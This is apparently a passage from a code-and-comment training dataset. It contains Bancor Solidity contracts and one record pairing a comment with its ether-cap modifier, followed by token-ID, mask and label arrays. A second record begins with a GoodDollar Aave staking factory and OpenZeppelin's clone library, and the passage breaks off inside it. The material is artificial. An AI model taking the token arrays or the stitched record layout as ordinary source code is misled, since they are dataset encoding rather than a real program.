- This function finds the position of [the smallest value in "maxExpArray" larger than or equal to "x"]
- This function finds the highest position of [a value in "maxExpArray" larger than or equal to "x"]
*/
function findPositionInMaxExpArray(uint256 _x) internal view returns (uint8) {
uint8 lo = MIN_PRECISION;
uint8 hi = MAX_PRECISION;
while (lo + 1 < hi) {
uint8 mid = (lo + hi) / 2;
if (maxExpArray[mid] >= _x)
lo = mid;
else
hi = mid;
}
if (maxExpArray[hi] >= _x)
return hi;
if (maxExpArray[lo] >= _x)
return lo;
assert(false);
return 0;
}
/**
This function can be auto-generated by the script 'PrintFunctionFixedExp.py'.
It approximates "e ^ x" via maclaurin summation: "(x^0)/0! + (x^1)/1! + ... + (x^n)/n!".
It returns "e ^ (x / 2 ^ precision) * 2 ^ precision", that is, the result is upshifted for accuracy.
The global "maxExpArray" maps each "precision" to "((maximumExponent + 1) << (MAX_PRECISION - precision)) - 1".
The maximum permitted value for "x" is therefore given by "maxExpArray[precision] >> (MAX_PRECISION - precision)".
*/
function fixedExp(uint256 _x, uint8 _precision) internal pure returns (uint256) {
uint256 xi = _x;
uint256 res = 0;
xi = (xi * _x) >> _precision;
res += xi * 0x03442c4e6074a82f1797f72ac0000000; // add x^2 * (33! / 2!)
xi = (xi * _x) >> _precision;
res += xi * 0x0116b96f757c380fb287fd0e40000000; // add x^3 * (33! / 3!)
xi = (xi * _x) >> _precision;
res += xi * 0x0045ae5bdd5f0e03eca1ff4390000000; // add x^4 * (33! / 4!)
xi = (xi * _x) >> _precision;
res += xi * 0x000defabf91302cd95b9ffda50000000; // add x^5 * (33! / 5!)
xi = (xi * _x) >> _precision;
res += xi * 0x0002529ca9832b22439efff9b8000000; // add x^6 * (33! / 6!)
xi = (xi * _x) >> _precision;
res += xi * 0x000054f1cf12bd04e516b6da88000000; // add x^7 * (33! / 7!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000a9e39e257a09ca2d6db51000000; // add x^8 * (33! / 8!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000012e066e7b839fa050c309000000; // add x^9 * (33! / 9!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000001e33d7d926c329a1ad1a800000; // add x^10 * (33! / 10!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000002bee513bdb4a6b19b5f800000; // add x^11 * (33! / 11!)
xi = (xi * _x) >> _precision;
res += xi * 0x000000003a9316fa79b88eccf2a00000; // add x^12 * (33! / 12!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000000048177ebe1fa812375200000; // add x^13 * (33! / 13!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000000005263fe90242dcbacf00000; // add x^14 * (33! / 14!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000057e22099c030d94100000; // add x^15 * (33! / 15!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000057e22099c030d9410000; // add x^16 * (33! / 16!)
xi = (xi * _x) >> _precision;
res += xi * 0x000000000000052b6b54569976310000; // add x^17 * (33! / 17!)
xi = (xi * _x) >> _precision;
res += xi * 0x000000000000004985f67696bf748000; // add x^18 * (33! / 18!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000000003dea12ea99e498000; // add x^19 * (33! / 19!)
xi = (xi * _x) >> _precision;
res += xi * 0x000000000000000031880f2214b6e000; // add x^20 * (33! / 20!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000000000025bcff56eb36000; // add x^21 * (33! / 21!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000000000001b722e10ab1000; // add x^22 * (33! / 22!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000000000001317c70077000; // add x^23 * (33! / 23!)
xi = (xi * _x) >> _precision;
res += xi * 0x000000000000000000000cba84aafa00; // add x^24 * (33! / 24!)
xi = (xi * _x) >> _precision;
res += xi * 0x000000000000000000000082573a0a00; // add x^25 * (33! / 25!)
xi = (xi * _x) >> _precision;
res += xi * 0x000000000000000000000005035ad900; // add x^26 * (33! / 26!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000000000000000002f881b00; // add x^27 * (33! / 27!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000000000000000001b29340; // add x^28 * (33! / 28!)
xi = (xi * _x) >> _precision;
res += xi * 0x000000000000000000000000000efc40; // add x^29 * (33! / 29!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000000000000000000007fe0; // add x^30 * (33! / 30!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000000000000000000000420; // add x^31 * (33! / 31!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000000000000000000000021; // add x^32 * (33! / 32!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000000000000000000000001; // add x^33 * (33! / 33!)
return res / 0x688589cc0e9505e2f2fee5580000000 + _x + (ONE << _precision); // divide by 33! and then add x^1 / 1! + x^0 / 0!
}
}
contract BancorGasPriceLimit is IBancorGasPriceLimit, Owned, Utils {
uint256 public gasPrice = 0 wei; // maximum gas price for bancor transactions
/**
@dev constructor
@param _gasPrice gas price limit
*/
function BancorGasPriceLimit(uint256 _gasPrice)
public
greaterThanZero(_gasPrice)
{
gasPrice = _gasPrice;
}
/*
@dev allows the owner to update the gas price limit
@param _gasPrice new gas price limit
*/
function setGasPrice(uint256 _gasPrice)
public
ownerOnly
greaterThanZero(_gasPrice)
{
gasPrice = _gasPrice;
}
}
contract BancorPriceFloor is Owned, TokenHolder {
uint256 public constant TOKEN_PRICE_N = 1; // crowdsale price in wei (numerator)
uint256 public constant TOKEN_PRICE_D = 100; // crowdsale price in wei (denominator)
string public version = '0.1';
ISmartToken public token; // smart token the contract allows selling
/**
@dev constructor
@param _token smart token the contract allows selling
*/
function BancorPriceFloor(ISmartToken _token)
public
validAddress(_token)
{
token = _token;
}
/**
@dev sells the smart token for ETH
note that the function will sell the full allowance amount
@return ETH sent in return
*/
function sell() public returns (uint256 amount) {
uint256 allowance = token.allowance(msg.sender, this); // get the full allowance amount
assert(token.transferFrom(msg.sender, this, allowance)); // transfer all tokens from the sender to the contract
uint256 etherValue = safeMul(allowance, TOKEN_PRICE_N) / TOKEN_PRICE_D; // calculate ETH value of the tokens
msg.sender.transfer(etherValue); // send the ETH amount to the seller
return etherValue;
}
/**
@dev withdraws ETH from the contract
@param _amount amount of ETH to withdraw
*/
function withdraw(uint256 _amount) public ownerOnly {
msg.sender.transfer(_amount); // send the amount
}
/**
@dev deposits ETH in the contract
*/
function() public payable {
}
}
contract BancorQuickConverter is IBancorQuickConverter, TokenHolder {
mapping (address => bool) public etherTokens; // list of all supported ether tokens
/**
@dev constructor
*/
function BancorQuickConverter() public {
}
// validates a conversion path - verifies that the number of elements is odd and that maximum number of 'hops' is 10
modifier validConversionPath(IERC20Token[] _path) {
require(_path.length > 2 && _path.length <= (1 + 2 * 10) && _path.length % 2 == 1);
_;
}
/**
@dev allows the owner to register/unregister ether tokens
@param _token ether token contract address
@param _register true to register, false to unregister
*/
function registerEtherToken(IEtherToken _token, bool _register)
public
ownerOnly
validAddress(_token)
notThis(_token)
{
etherTokens[_token] = _register;
}
/**
@dev converts the token to any other token in the bancor network by following
a predefined conversion path and transfers the result tokens to a target account
note that the converter should already own the source tokens
@param _path conversion path, see conversion path format above
@param _amount amount to convert from (in the initial source token)
@param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero
@param _for account that will receive the conversion result
@return tokens issued in return
*/
function convertFor(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for)
public
payable
validConversionPath(_path)
returns (uint256)
{
// if ETH is provided, ensure that the amount is identical to _amount and verify that the source token is an ether token
IERC20Token fromToken = _path[0];
require(msg.value == 0 || (_amount == msg.value && etherTokens[fromToken]));
ISmartToken smartToken;
IERC20Token toToken;
ITokenConverter converter;
uint256 pathLength = _path.length;
// if ETH was sent with the call, the source is an ether token - deposit the ETH in it
// otherwise, we assume we already have the tokens
if (msg.value > 0)
IEtherToken(fromToken).deposit.value(msg.value)();
// iterate over the conversion path
for (uint256 i = 1; i < pathLength; i += 2) {
smartToken = ISmartToken(_path[i]);
toToken = _path[i + 1];
converter = ITokenConverter(smartToken.owner());
// if the smart token isn't the source (from token), the converter doesn't have control over it and thus we need to approve the request
if (smartToken != fromToken)
ensureAllowance(fromToken, converter, _amount);
// make the conversion - if it's the last one, also provide the minimum return value
_amount = converter.change(fromToken, toToken, _amount, i == pathLength - 2 ? _minReturn : 1);
fromToken = toToken;
}
// finished the conversion, transfer the funds to the target account
// if the target token is an ether token, withdraw the tokens and send them as ETH
// otherwise, transfer the tokens as is
if (etherTokens[toToken])
IEtherToken(toToken).withdrawTo(_for, _amount);
else
assert(toToken.transfer(_for, _amount));
return _amount;
}
/**
@dev claims the caller's tokens, converts them to any other token in the bancor network
by following a predefined conversion path and transfers the result tokens to a target account
note that allowance must be set beforehand
@param _path conversion path, see conversion path format above
@param _amount amount to convert from (in the initial source token)
@param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero
@param _for account that will receive the conversion result
@return tokens issued in return
*/
function claimAndConvertFor(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for) public returns (uint256) {
// we need to transfer the tokens from the caller to the converter before we follow
// the conversion path, to allow it to execute the conversion on behalf of the caller
// note: we assume we already have allowance
IERC20Token fromToken = _path[0];
assert(fromToken.transferFrom(msg.sender, this, _amount));
return convertFor(_path, _amount, _minReturn, _for);
}
/**
@dev converts the token to any other token in the bancor network by following
a predefined conversion path and transfers the result tokens back to the sender
note that the converter should already own the source tokens
@param _path conversion path, see conversion path format above
@param _amount amount to convert from (in the initial source token)
@param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero
@return tokens issued in return
*/
function convert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn) public payable returns (uint256) {
return convertFor(_path, _amount, _minReturn, msg.sender);
}
/**
@dev claims the caller's tokens, converts them to any other token in the bancor network
by following a predefined conversion path and transfers the result tokens back to the sender
note that allowance must be set beforehand
@param _path conversion path, see conversion path format above
@param _amount amount to convert from (in the initial source token)
@param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero
@return tokens issued in return
*/
function claimAndConvert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn) public returns (uint256) {
return claimAndConvertFor(_path, _amount, _minReturn, msg.sender);
}
/**
@dev utility, checks whether allowance for the given spender exists and approves one if it doesn't
@param _token token to check the allowance in
@param _spender approved address
@param _value allowance amount
*/
function ensureAllowance(IERC20Token _token, address _spender, uint256 _value) private {
// check if allowance for the given amount already exists
if (_token.allowance(this, _spender) >= _value)
return;
// if the allowance is nonzero, must reset it to 0 first
if (_token.allowance(this, _spender) != 0)
assert(_token.approve(_spender, 0));
// approve the new allowance
assert(_token.approve(_spender, _value));
}
}
contract CrowdsaleController is SmartTokenController {
uint256 public constant DURATION = 14 days; // crowdsale duration
uint256 public constant TOKEN_PRICE_N = 1; // initial price in wei (numerator)
uint256 public constant TOKEN_PRICE_D = 100; // initial price in wei (denominator)
uint256 public constant BTCS_ETHER_CAP = 50000 ether; // maximum bitcoin suisse ether contribution
uint256 public constant MAX_GAS_PRICE = 50000000000 wei; // maximum gas price for contribution transactions
string public version = '0.1';
uint256 public startTime = 0; // crowdsale start time (in seconds)
uint256 public endTime = 0; // crowdsale end time (in seconds)
uint256 public totalEtherCap = 1000000 ether; // current ether contribution cap, initialized with a temp value as a safety mechanism until the real cap is revealed
uint256 public totalEtherContributed = 0; // ether contributed so far
bytes32 public realEtherCapHash; // ensures that the real cap is predefined on deployment and cannot be changed later
address public beneficiary = address(0); // address to receive all ether contributions
address public btcs = address(0); // bitcoin suisse address
// triggered on each contribution
event Contribution(address indexed _contributor, uint256 _amount, uint256 _return);
/**
@dev constructor
@param _token smart token the crowdsale is for
@param _startTime crowdsale start time
@param _beneficiary address to receive all ether contributions
@param _btcs bitcoin suisse address
*/
function CrowdsaleController(ISmartToken _token, uint256 _startTime, address _beneficiary, address _btcs, bytes32 _realEtherCapHash)
public
SmartTokenController(_token)
validAddress(_beneficiary)
validAddress(_btcs)
earlierThan(_startTime)
greaterThanZero(uint256(_realEtherCapHash))
{
startTime = _startTime;
endTime = startTime + DURATION;
beneficiary = _beneficiary;
btcs = _btcs;
realEtherCapHash = _realEtherCapHash;
}
// verifies that the gas price is lower than 50 gwei
modifier validGasPrice() {
assert(tx.gasprice <= MAX_GAS_PRICE);
_;
}
// verifies that the ether cap is valid based on the key provided
modifier validEtherCap(uint256 _cap, uint256 _key) {
require(computeRealCap(_cap, _key) == realEtherCapHash);
_;
}
// ensures that it's earlier than the given time
modifier earlierThan(uint256 _time) {
assert(now < _time);
_;
}
// ensures that the current time is between _startTime (inclusive) and _endTime (exclusive)
modifier between(uint256 _startTime, uint256 _endTime) {
assert(now >= _startTime && now < _endTime);
_;
}
// ensures that the sender is bitcoin suisse
modifier btcsOnly() {
assert(msg.sender == btcs);
_;
}
// ensures that we didn't reach the ether cap
modifier etherCapNotReached(uint256 _contribution) {
assert(safeAdd(totalEtherContributed, _contribution) <= totalEtherCap);
_;
}
// ensures that we didn't reach the bitcoin suisse ether cap
modifier btcsEtherCapNotReached(uint256 _ethContribution) {
assert(safeAdd(totalEtherContributed, _ethContribution) <= BTCS_ETHER_CAP);
_;
}
/**
@dev computes the real cap based on the given cap & key
@param _cap cap
@param _key key used to compute the cap hash
@return computed real cap hash
*/
function computeRealCap(uint256 _cap, uint256 _key) public pure returns (bytes32) {
return keccak256(_cap, _key);
}
/**
@dev enables the real cap defined on deployment
@param _cap predefined cap
@param _key key used to compute the cap hash
*/
function enableRealCap(uint256 _cap, uint256 _key)
public
ownerOnly
active
between(startTime, endTime)
validEtherCap(_cap, _key)
{
require(_cap < totalEtherCap); // validate input
totalEtherCap = _cap;
}
/**
@dev computes the number of tokens that should be issued for a given contribution
@param _contribution contribution amount
@return computed number of tokens
*/
function computeReturn(uint256 _contribution) public pure returns (uint256) {
return safeMul(_contribution, TOKEN_PRICE_D) / TOKEN_PRICE_N;
}
/**
@dev ETH contribution
can only be called during the crowdsale
@return tokens issued in return
*/
function contributeETH()
public
payable
between(startTime, endTime)
returns (uint256 amount)
{
return processContribution();
}
/**
@dev Contribution through BTCs (Bitcoin Suisse only)
can only be called before the crowdsale started
@return tokens issued in return
*/
function contributeBTCs()
public
payable
btcsOnly
btcsEtherCapNotReached(msg.value)
earlierThan(startTime)
returns (uint256 amount)
{
return processContribution();
}
/**
@dev handles contribution logic
note that the Contribution event is triggered using the sender as the contributor, regardless of the actual contributor
@return tokens issued in return
*/
function processContribution() private
active
etherCapNotReached(msg.value)
validGasPrice
returns (uint256 amount)
{
uint256 tokenAmount = computeReturn(msg.value);
beneficiary.transfer(msg.value); // transfer the ether to the beneficiary account
totalEtherContributed = safeAdd(totalEtherContributed, msg.value); // update the total contribution amount
token.issue(msg.sender, tokenAmount); // issue new funds to the contributor in the smart token
token.issue(beneficiary, tokenAmount); // issue tokens to the beneficiary
Contribution(msg.sender, msg.value, tokenAmount);
return tokenAmount;
}
// fallback
function() payable public {
contributeETH();
}
}
contract ERC20Token is IERC20Token, Utils {
string public standard = 'Token 0.1';
string public name = '';
string public symbol = '';
uint8 public decimals = 0;
uint256 public totalSupply = 0;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
/**
@dev constructor
@param _name token name
@param _symbol token symbol
@param _decimals decimal points, for display purposes
*/
function ERC20Token(string _name, string _symbol, uint8 _decimals) public {
require(bytes(_name).length > 0 && bytes(_symbol).length > 0); // validate input
name = _name;
symbol = _symbol;
decimals = _decimals;
}
/**
@dev send coins
throws on any error rather then return a false flag to minimize user errors
@param _to target address
@param _value transfer amount
@return true if the transfer was successful, false if it wasn't
*/
function transfer(address _to, uint256 _value)
public
validAddress(_to)
returns (bool success)
{
balanceOf[msg.sender] = safeSub(balanceOf[msg.sender], _value);
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
@dev an account/contract attempts to get the coins
throws on any error rather then return a false flag to minimize user errors
@param _from source address
@param _to target address
@param _value transfer amount
@return true if the transfer was successful, false if it wasn't
*/
function transferFrom(address _from, address _to, uint256 _value)
public
validAddress(_from)
validAddress(_to)
returns (bool success)
{
allowance[_from][msg.sender] = safeSub(allowance[_from][msg.sender], _value);
balanceOf[_from] = safeSub(balanceOf[_from], _value);
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
Transfer(_from, _to, _value);
return true;
}
/**
@dev allow another account/contract to spend some tokens on your behalf
throws on any error rather then return a false flag to minimize user errors
also, to minimize the risk of the approve/transferFrom attack vector
(see https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/), approve has to be called twice
in 2 separate transactions - once to change the allowance to 0 and secondly to change it to the new allowance value
@param _spender approved address
@param _value allowance amount
@return true if the approval was successful, false if it wasn't
*/
function approve(address _spender, uint256 _value)
public
validAddress(_spender)
returns (bool success)
{
// if the allowance isn't 0, it can only be updated to 0 to prevent an allowance change immediately after withdrawal
require(_value == 0 || allowance[msg.sender][_spender] == 0);
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
}
contract EtherToken is IEtherToken, Owned, ERC20Token, TokenHolder {
// triggered when the total supply is increased
event Issuance(uint256 _amount);
// triggered when the total supply is decreased
event Destruction(uint256 _amount);
/**
@dev constructor
*/
function EtherToken()
public
ERC20Token('Ether Token', 'ETH', 18) {
}
/**
@dev deposit ether in the account
*/
function deposit() public payable {
balanceOf[msg.sender] = safeAdd(balanceOf[msg.sender], msg.value); // add the value to the account balance
totalSupply = safeAdd(totalSupply, msg.value); // increase the total supply
Issuance(msg.value);
Transfer(this, msg.sender, msg.value);
}
/**
@dev withdraw ether from the account
@param _amount amount of ether to withdraw
*/
function withdraw(uint256 _amount) public {
withdrawTo(msg.sender, _amount);
}
/**
@dev withdraw ether from the account to a target account
@param _to account to receive the ether
@param _amount amount of ether to withdraw
*/
function withdrawTo(address _to, uint256 _amount)
public
notThis(_to)
{
balanceOf[msg.sender] = safeSub(balanceOf[msg.sender], _amount); // deduct the amount from the account balance
totalSupply = safeSub(totalSupply, _amount); // decrease the total supply
_to.transfer(_amount); // send the amount to the target account
Transfer(msg.sender, this, _amount);
Destruction(_amount);
}
// ERC20 standard method overrides with some extra protection
/**
@dev send coins
throws on any error rather then return a false flag to minimize user errors
@param _to target address
@param _value transfer amount
@return true if the transfer was successful, false if it wasn't
*/
function transfer(address _to, uint256 _value)
public
notThis(_to)
returns (bool success)
{
assert(super.transfer(_to, _value));
return true;
}
/**
@dev an account/contract attempts to get the coins
throws on any error rather then return a false flag to minimize user errors
@param _from source address
@param _to target address
@param _value transfer amount
@return true if the transfer was successful, false if it wasn't
*/
function transferFrom(address _from, address _to, uint256 _value)
public
notThis(_to)
returns (bool success)
{
assert(super.transferFrom(_from, _to, _value));
return true;
}
/**
@dev deposit ether in the account
*/
function() public payable {
deposit();
}
}
contract SmartToken is ISmartToken, Owned, ERC20Token, TokenHolder {
string public version = '0.3';
bool public transfersEnabled = true; // true if transfer/transferFrom are enabled, false if not
// triggered when a smart token is deployed - the _token address is defined for forward compatibility, in case we want to trigger the event from a factory
event NewSmartToken(address _token);
// triggered when the total supply is increased
event Issuance(uint256 _amount);
// triggered when the total supply is decreased
event Destruction(uint256 _amount);
/**
@dev constructor
@param _name token name
@param _symbol token short symbol, minimum 1 character
@param _decimals for display purposes only
*/
function SmartToken(string _name, string _symbol, uint8 _decimals)
public
ERC20Token(_name, _symbol, _decimals)
{
NewSmartToken(address(this));
}
// allows execution only when transfers aren't disabled
modifier transfersAllowed {
assert(transfersEnabled);
_;
}
/**
@dev disables/enables transfers
can only be called by the contract owner
@param _disable true to disable transfers, false to enable them
*/
function disableTransfers(bool _disable) public ownerOnly {
transfersEnabled = !_disable;
}
/**
@dev increases the token supply and sends the new tokens to an account
can only be called by the contract owner
@param _to account to receive the new amount
@param _amount amount to increase the supply by
*/
function issue(address _to, uint256 _amount)
public
ownerOnly
validAddress(_to)
notThis(_to)
{
totalSupply = safeAdd(totalSupply, _amount);
balanceOf[_to] = safeAdd(balanceOf[_to], _amount);
Issuance(_amount);
Transfer(this, _to, _amount);
}
/**
@dev removes tokens from an account and decreases the token supply
can be called by the contract owner to destroy tokens from any account or by any holder to destroy tokens from his/her own account
@param _from account to remove the amount from
@param _amount amount to decrease the supply by
*/
function destroy(address _from, uint256 _amount) public {
require(msg.sender == _from || msg.sender == owner); // validate input
balanceOf[_from] = safeSub(balanceOf[_from], _amount);
totalSupply = safeSub(totalSupply, _amount);
Transfer(_from, this, _amount);
Destruction(_amount);
}
// ERC20 standard method overrides with some extra functionality
/**
@dev send coins
throws on any error rather then return a false flag to minimize user errors
in addition to the standard checks, the function throws if transfers are disabled
@param _to target address
@param _value transfer amount
@return true if the transfer was successful, false if it wasn't
*/
function transfer(address _to, uint256 _value) public transfersAllowed returns (bool success) {
assert(super.transfer(_to, _value));
return true;
}
/**
@dev an account/contract attempts to get the coins
throws on any error rather then return a false flag to minimize user errors
in addition to the standard checks, the function throws if transfers are disabled
@param _from source address
@param _to target address
@param _value transfer amount
@return true if the transfer was successful, false if it wasn't
*/
function transferFrom(address _from, address _to, uint256 _value) public transfersAllowed returns (bool success) {
assert(super.transferFrom(_from, _to, _value));
return true;
}
}
| ensures that we didn't reach the ether cap | modifier etherCapNotReached(uint256 _contribution) {
assert(safeAdd(totalEtherContributed, _contribution) <= totalEtherCap);
_;
}
| 880,416 | [
1,
773,
1823,
716,
732,
10242,
1404,
9287,
326,
225,
2437,
3523,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
9606,
225,
2437,
4664,
1248,
23646,
12,
11890,
5034,
389,
591,
4027,
13,
288,
203,
3639,
1815,
12,
4626,
986,
12,
4963,
41,
1136,
442,
11050,
16,
389,
591,
4027,
13,
1648,
2078,
41,
1136,
4664,
1769,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/ClonesUpgradeable.sol";
import "./GoodAaveStakingV2.sol";
import "../../Interfaces.sol";
/**
* @title Staking contract that donates earned interest to the DAO
* allowing stakers to deposit Token
* or withdraw their stake in Token
* the contracts buy cToken and can transfer the daily interest to the DAO
*/
contract AaveStakingFactory {
using ClonesUpgradeable for address;
address public impl = address(new GoodAaveStakingV2());
event Deployed(address proxy, address token, address impl);
function clone(
address _impl,
ERC20 token,
bytes32 paramsHash
) internal returns (GoodAaveStakingV2) {
address deployed = address(_impl).cloneDeterministic(
keccak256(abi.encodePacked(address(token), paramsHash))
);
emit Deployed(deployed, address(token), _impl);
return GoodAaveStakingV2(deployed);
}
function cloneAndInit(
ERC20 token,
address _lendingPool,
INameService _ns,
uint64 _maxRewardThreshold,
address _tokenUsdOracle,
IAaveIncentivesController _incentiveController,
address _aaveUSDOracle,
address[] memory _tokenToDaiSwapPath
) public {
cloneAndInit(
impl,
token,
_lendingPool,
_ns,
_maxRewardThreshold,
_tokenUsdOracle,
_incentiveController,
_aaveUSDOracle,
_tokenToDaiSwapPath
);
}
/**
@dev Function to clone Staking contract and initialize new one with new token
@param token Staking token to use in staking contract
@param _lendingPool address of the lending Pool of AAVE Protocol
@param _ns NameService that holds whole necessary addresses
@param _maxRewardThreshold Block numbers that need to pass in order to user would get their rewards with 1x multiplier instead of 0.5x
@param _tokenUsdOracle address of the TOKEN/USD oracle
@param _incentiveController Incentive Controller of AAVE protocol in order to claim rewards from AAVE
@param _aaveUSDOracle address of the AAVE/USD oracle
*/
function cloneAndInit(
address _impl,
ERC20 token,
address _lendingPool,
INameService _ns,
uint64 _maxRewardThreshold,
address _tokenUsdOracle,
IAaveIncentivesController _incentiveController,
address _aaveUSDOracle,
address[] memory _tokenToDaiSwapPath
) public {
GoodAaveStakingV2 deployed = clone(
_impl,
token,
keccak256(
abi.encodePacked(
address(_lendingPool),
address(_ns),
_maxRewardThreshold,
_tokenUsdOracle,
address(_incentiveController),
_aaveUSDOracle
)
)
);
deployed.init(
address(token),
address(_lendingPool),
_ns,
string(abi.encodePacked("GoodAaveStakingV2 ", token.name())),
string(abi.encodePacked("ga", token.symbol())),
_maxRewardThreshold,
_tokenUsdOracle,
_incentiveController,
_aaveUSDOracle,
_tokenToDaiSwapPath
);
}
function predictAddress(
address _impl,
ERC20 token,
bytes32 paramsHash
) public view returns (address) {
return
address(_impl).predictDeterministicAddress(
keccak256(abi.encodePacked(address(token), paramsHash))
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for
* deploying minimal proxy contracts, also known as "clones".
*
* > To simply and cheaply clone contract functionality in an immutable way, this standard specifies
* > a minimal bytecode implementation that delegates all calls to a known, fixed address.
*
* The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2`
* (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the
* deterministic method.
*
* _Available since v3.4._
*/
library ClonesUpgradeable {
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
*
* This function uses the create opcode, which should never revert.
*/
function clone(address implementation) internal returns (address instance) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create(0, ptr, 0x37)
}
require(instance != address(0), "ERC1167: create failed");
}
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
*
* This function uses the create2 opcode and a `salt` to deterministically deploy
* the clone. Using the same `implementation` and `salt` multiple time will revert, since
* the clones cannot be deployed twice at the same address.
*/
function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
